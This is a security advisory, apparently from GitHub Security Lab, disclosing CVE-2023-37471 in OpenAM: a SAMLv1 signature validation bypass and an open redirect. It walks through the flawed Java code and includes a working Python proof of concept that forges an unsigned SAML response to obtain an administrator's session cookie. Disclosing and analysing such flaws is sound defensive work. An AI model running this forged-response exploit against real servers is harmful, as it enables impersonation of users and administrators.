Coordinated Disclosure Timeline
- 2023-07-12: Asked for an email to send the report to in a public issue.
- 2023-07-14: The maintainers propose a fix in a PR.
- 2023-07-18: The fix is merged.
- 2023-07-20: Advisory is published and CVE-2023-37471 assigned.
Summary
OpenAM up to version 14.7.2 does not properly validate the signature of SAML responses received as part of the SAMLv1.x Single Sign-On process. Attackers can use this fact to impersonate any OpenAM user, including the administrator, by sending a specially crafted SAML response to the SAMLPOSTProfileServlet servlet.
Product
OpenAM
Tested Version
Details
Issue 1: SAML signature validation bypass in SAMLPOSTProfileServlet.java (GHSL-2023-143)
OpenAM supports configuring SAMLv1 Single Sign-On to allow resource sharing between organizations. When this feature is enabled, OpenAM exposes a Servlet that handles SAML responses as part of the Web SSO flow:
openam-server-only/src/main/webapp/WEB-INF/web.xml:426
<servlet>
<description>SAMLPOSTProfileServlet</description>
<servlet-name>SAMLPOSTProfileServlet</servlet-name>
<servlet-class>com.sun.identity.saml.servlet.SAMLPOSTProfileServlet</servlet-class>
</servlet>
/**
* This servlet is used to support SAML 1.x Web Browser/POST Profile.
*/
public class SAMLPOSTProfileServlet extends HttpServlet {
// --snip--
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html; charset=UTF-8");
// --snip--
SAMLUtils.checkHTTPContentLength(request);
// --snip--
String samlResponse = request.getParameter(
SAMLConstants.POST_SAML_RESPONSE_PARAM);
// --snip--
// decode the Response
byte raw[] = null;
try {
raw = Base64.decode(samlResponse);
} catch (Exception e) {
// --snip--
return;
}
// Get Response back
Response sResponse = SAMLUtils.getResponse(raw);
if (sResponse == null) {
// --snip--
return;
}
// --snip--
// verify that Response is correct
StringBuffer requestUrl = request.getRequestURL();
// --snip--
boolean valid = SAMLUtils.verifyResponse(sResponse,
requestUrl.toString(),
request);
if (!valid) {
// --snip--
return;
}
Map attrMap = null;
List assertions = null;
javax.security.auth.Subject authSubject = null;
try {
Map sessionAttr = SAMLUtils.processResponse(
sResponse, target);
Object token = SAMLUtils.generateSession(request,
response, sessionAttr);
} catch (Exception ex) {
// --snip--
return;
}
// --snip--
}
}
Several things happen in this Servlet, but they all are self-contained and it does not rely on any pre-existing state, so attackers can directly call it without having to go through the whole flow.
As a summary:
- A parameter
SAMLResponse(SAMLConstants.POST_SAML_RESPONSE_PARAM) is read from the HTTP request. - The
SAMLResponsestring is decoded from base64. - It gets converted by
SAMLUtils.getResponseto acom.sun.identity.saml.protocol.Responseobject namedsResponse. - The request URL is obtained from the request and assigned to the variable
requestUrl. This is the URL that was used to make the request to reach this Servlet. - Then
sResponseandrequestUrlare verified inSAMLUtils.verifyResponse. - If the verification does not pass, the Servlet exits.
- Otherwise, the response is processed by
SAMLUtils.processResponse. - Then, a new session is generated using the data obtained from the previous step.
- If any of the previous two steps fail, the Servlet exits.
An attacker that wants to forge a session needs to successfully go through SAMLUtils.getRespose, SAMLUtils.verifyResponse, and SAMLUtils.processResponse to finally reach SAMLUtils.generateSession.
Firstly, SAMLUtils.getResponse simply parses the base64 decoded bytes as an XML document:
public static Response getResponse(byte [] bytes) {
Response temp = null;
if (bytes == null) {
return null;
}
try {
temp = Response.parseXML(new ByteArrayInputStream(bytes));
} catch (SAMLException se) {
debug.error("getResponse : " , se);
}
return temp;
}
Response.parseXML just ends up delegating to javax.xml.parsers.DocumentBuilder.parse, so nothing special needs to be done to pass this step, other than providing a valid SAMLv1 response. To obtain that, an attacker could first go through a normal SAMLv1 SSO flow, intercept the SAML response, and tweak it as needed — or just refer to the SAMLv1 specification.
After that, SAML.verifyResponse is called, which starts by checking the signature with Response.isSignatureValid:
public static boolean verifyResponse(Response response,
String requestUrl, HttpServletRequest request) {
if (!response.isSignatureValid()) {
debug.message("verifyResponse: Response's signature is invalid.");
return false;
}
// --snip--
Critically, isSignatureValid only validates the signature if the attribute signed is true:
public boolean isSignatureValid() {
if (signed & ! validationDone) {
valid = SAMLUtils.checkSignatureValid(
xmlString, RESPONSE_ID_ATTRIBUTE, issuer);
validationDone = true;
}
return valid;
}
Otherwise, it returns the default value of valid, which is defined in AbstractResponse and happens to be true:
public abstract class AbstractResponse {
// --snip--
protected boolean signed = false;
protected boolean valid = true;
Also note that signed defaults to false, which means that all an attacker needs to do to bypass the isSignatureValid check is to not provide a signature in the SAML response at all, leaving both those values in their default state.
The rest of checks performed in verifyResponse are based on data the attacker provides: the Recipient of the SAML response needs to match requestUrl, and its Status needs to end with :Success (SAMLConstants.STATUS_CODE_SUCCESS_NO_PREFIX).
public static boolean verifyResponse(Response response,
String requestUrl, HttpServletRequest request) {
// --snip--
// check Recipient == this server's POST profile URL(requestURL)
String recipient = response.getRecipient();
if ((recipient == null) || (recipient.length() == 0) ||
((!equalURL(recipient, requestUrl)) &&
(!equalURL(recipient,getLBURL(requestUrl, request))))) {
debug.error("verifyResponse : Incorrect Recipient.");
return false;
}
// check status of the Response
if (!response.getStatus().getStatusCode().getValue().endsWith(
SAMLConstants.STATUS_CODE_SUCCESS_NO_PREFIX)) {
debug.error("verifyResponse : Incorrect StatusCode value.");
return false;
}
return true;
}
Having passed verifyResponse, only SAMLUtils.processResponse is left.
public static Map processResponse(Response samlResponse, String target)
throws SAMLException {
List assertions = null;
SAMLServiceManager.SOAPEntry partnerdest = null;
Subject assertionSubject = null;
if (samlResponse.isSigned()) {
// verify the signature
boolean isSignedandValid = verifySignature(samlResponse);
if (!isSignedandValid) {
throw new SAMLException(bundle.getString("invalidResponse"));
}
}
// --snip--
See how there is a new attempt at verifying the signature at verifySignature (which does it correctly and fails if the response is not signed), but unfortunately it is only called if the response is signed, so this can be bypassed as well.
The rest of the operations are again only based on attacker-provided data, so it can be adjusted to generate the desired sessMap:
public static Map processResponse(Response samlResponse, String target)
throws SAMLException {
// --snip--
Map ssMap = verifyAssertionAndGetSSMap(samlResponse);
// --snip--
if (ssMap == null) {
throw new SAMLException(bundle.getString("invalidAssertion"));
}
assertionSubject = (com.sun.identity.saml.assertion.Subject)
ssMap.get(SAMLConstants.SUBJECT);
if (assertionSubject == null) {
throw new SAMLException(bundle.getString("nullSubject"));
}
partnerdest = (SAMLServiceManager.SOAPEntry)ssMap
.get(SAMLConstants.SOURCE_SITE_SOAP_ENTRY);
if (partnerdest == null) {
throw new SAMLException(bundle.getString("failedAccountMapping"));
}
assertions = (List)ssMap.get(SAMLConstants.POST_ASSERTION);
Map sessMap = null;
try {
sessMap = getAttributeMap(partnerdest, assertions,
assertionSubject, target);
} catch (Exception se) {
debug.error("SAMLUtils.processResponse :" , se);
throw new SAMLException(
bundle.getString("failProcessResponse"));
}
return sessMap;
}
The only extra requirement happens inside verifyAssertionAndGetSSMap, which requires that the SAML response Issuer exists in OpenAM’s federation Trusted Partners list. We assume this information is not secret nor difficult to obtain by analyzing the authentication realm and the involved parties.
Also, it can be determined that the Subject assertion is used in getAttributeMap to map this response to a user in the realm — specifically the NameIdentifier field.
After all that, the resulting sessMap object is used to create the session SAMLUtils.generateSession, which produces and returns to the attacker the cookie iPlanetDirectoryPro. This cookie can be used to log in to OpenAM as the desired user specified in the spoofed SAML response.
Impact
This issue may lead to user impersonation in OpenAM.
Resources
The following script is a proof of concept that demonstrates how this vulnerability could be exploited. The script returns the iPlanetDIrectoryPro cookie, which can be added to a browser to log into OpenAM as the specified user:
import base64
import requests
import random
import string
ORG = "dc=openam,dc=openidentityplatform,dc=org"
ADMIN_USER = f"cn=amAdmin,{ORG}"
TARGET = "http://localhost:8207"
REDIRECT = "http://localhost:8207/openam/"
ISSUER = "dev.authserver.sso"
def random_word(length):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))
def main():
url = f"{TARGET}/openam/SAMLPOSTProfileServlet"
xml = f"""
<samlp:Response Recipient="{url}" ResponseID="{random_word(10)}" MajorVersion="1" MinorVersion="1" Destination="http://localhost/SamlAuthenticate" IssueInstant="2014-03-27T14:49:35.395Z" ID="kBWlU3VWF.Ee6DKbkEpFomtlDAT" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:1.0:status:Success"/></samlp:Status>
<saml:Assertion Issuer="{ISSUER}" MajorVersion="1" MinorVersion="1" AssertionID="{random_word(10)}" IssueInstant="2014-03-27T14:49:35.404Z" ID="w4BForMipBizsG1TA7d9QzhCM0-" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
<saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password" AuthenticationInstant="2002-06-19T17:05:17.706Z">
<saml:Subject>
<saml:NameIdentifier NameQualifier="{ORG}" Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">{ADMIN_USER}</saml:NameIdentifier>
<saml:SubjectConfirmation>
<saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod>
</saml:SubjectConfirmation>
</saml:Subject>
</saml:AuthenticationStatement>
<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Subject>
<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">amAdmin</saml:NameIdentifier>
<saml:SubjectConfirmation>
<saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod>
<saml:SubjectConfirmationData NotOnOrAfter="2014-03-27T14:54:35.404Z" Recipient="http://localhost/SamlAuthenticate"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="FIRSTNAME">
<saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">john</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="MAIL">
<saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">john.smith@email.localhost.dev</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute AttributeNamespace="urn:oasis:names:tc:SAML:1.0:attrname-format:basic" AttributeName="LASTNAME">
<saml:AttributeValue xsi:type="xs:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">smith</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
"""
response = base64.b64encode(xml.encode())
data = {
"TARGET": REDIRECT,
"SAMLResponse": response
}
r = requests.post(url, data=data, allow_redirects=False)
print(f'iPlanetDirectoryPro = {r.cookies["iPlanetDirectoryPro"]}')
if __name__ == "__main__":
main()
Note that ORG, ADMIN_USER, TARGET and ISSUER will need to be adapted to the target OpenAM server.
Issue 2: Open redirect in SAMLPOSTProfileServlet.java (GHSL-2023-144)
OpenAM supports configuring SAMLv1 Single Sign-On to allow resource sharing between organizations. When this feature is enabled, OpenAM exposes a Servlet that handles SAML responses as part of the Web SSO flow:
openam-server-only/src/main/webapp/WEB-INF/web.xml:426
<servlet>
<description>SAMLPOSTProfileServlet</description>
<servlet-name>SAMLPOSTProfileServlet</servlet-name>
<servlet-class>com.sun.identity.saml.servlet.SAMLPOSTProfileServlet</servlet-class>
</servlet>
/**
* This servlet is used to support SAML 1.x Web Browser/POST Profile.
*/
public class SAMLPOSTProfileServlet extends HttpServlet {
// --snip--
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html; charset=UTF-8");
// --snip--
String target = request.getParameter(SAMLConstants.POST_TARGET_PARAM);
// --snip--
if (SAMLUtils.postYN(target)) {
//--snip--
SAMLUtils.postToTarget(response, response.getWriter(), assertions, target,attrMap);
} else {
response.setHeader("Location", target);
response.sendRedirect(target);
}
}
}
Note that target is used in response.sendRedirect without further validation. Assuming an attacker can provide a valid SAML response (see GHSL-2023-143), they can craft a request that redirects the user’s browser to an arbitrary server.
Although this is a POST request, so admittedly the impact is limited, it could still be a problem under specific conditions.
This issue was found with the CodeQL query java/unvalidated-url-redirection.
Impact
This issue may lead to an open redirect of the victim’s browser.
Resources
The PoC exploit provided in GHSL-2023-143 can be used to exploit this vulnerability as well (tweak the REDIRECT variable as desired).
CVE
- CVE-2023-37471
Credit
These issues were discovered and reported by CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-143 or GHSL-2023-144 in any communication regarding these issues.